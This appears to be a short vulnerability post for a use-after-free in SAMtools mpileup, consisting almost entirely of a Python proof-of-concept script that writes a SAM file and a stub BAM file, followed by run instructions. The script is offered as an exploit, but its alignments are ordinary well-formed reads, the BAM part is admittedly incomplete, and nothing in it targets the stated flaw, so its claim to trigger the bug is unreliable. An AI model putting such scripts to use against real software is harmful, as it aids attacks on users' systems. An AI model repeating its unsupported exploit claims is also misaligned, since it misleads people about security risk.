CVE-2026-31972: SAMtools mpileup命令Use-After-Free内存漏洞

#!/usr/bin/env python3 """ CVE-2026-31972 PoC - SAMtools mpileup Use-After-Free Note: This PoC generates a malformed SAM/BAM file that triggers the UAF condition in SAMtools mpileup command. Use with caution and only in authorized testing environments. """ import struct def generate_poc_sam(): """ Generate a SAM file that triggers the Use-After-Free condition in SAMtools mpileup when processing specific alignment patterns. """ header = "@HD\tVN:1.6\tSO:coordinate\n" header += "@SQ\tSN:chr1\tLN:1000000\n" # Generate alignments that trigger the UAF condition # The specific conditions depend on the reference data and alignment patterns alignments = [] # Create alignments with specific patterns that cause early reference data discard for i in range(1, 100): # Position patterns that may trigger the bug pos = i * 100 + 50 cigar = f"{i}M" # Simple matches seq = "A" * i if i < 100 else "A" * 100 qual = "I" * len(seq) alignment = f"read_{i}\t0\tchr1\t{pos}\t60\t{cigar}\t*\t0\t0\t{seq}\t{qual}\n" alignments.append(alignment) sam_content = header + "".join(alignments) return sam_content def generate_poc_bam(): """ Generate a BAM file (binary) that triggers the UAF condition. This is a template structure - actual exploitation requires specific conditions. """ # BAM file magic number magic = b"BAM\x01" # Header text length header_text = b"@HD\tVN:1.6\tSO:coordinate\n@SQ\tSN:chr1\tLN:1000000\n" header_len = struct.pack('<I', len(header_text)) # This is a simplified structure - full exploitation requires # crafting specific alignment records that trigger the UAF return magic + header_len + header_text if __name__ == "__main__": import sys print("CVE-2026-31972 PoC Generator") print("=" * 50) print("Generating test SAM file...") sam_content = generate_poc_sam() with open("poc_cve2026_31972.sam", "w") as f: f.write(sam_content) print(f"Generated poc_cve2026_31972.sam") print("\nTo trigger the vulnerability:") print("1. Create a reference genome file (reference.fa)") print("2. Run: samtools mpileup -f reference.fa poc_cve2026_31972.sam") print("3. Monitor for crashes or unexpected behavior") print("\nNote: This PoC is for educational and authorized testing purposes only.")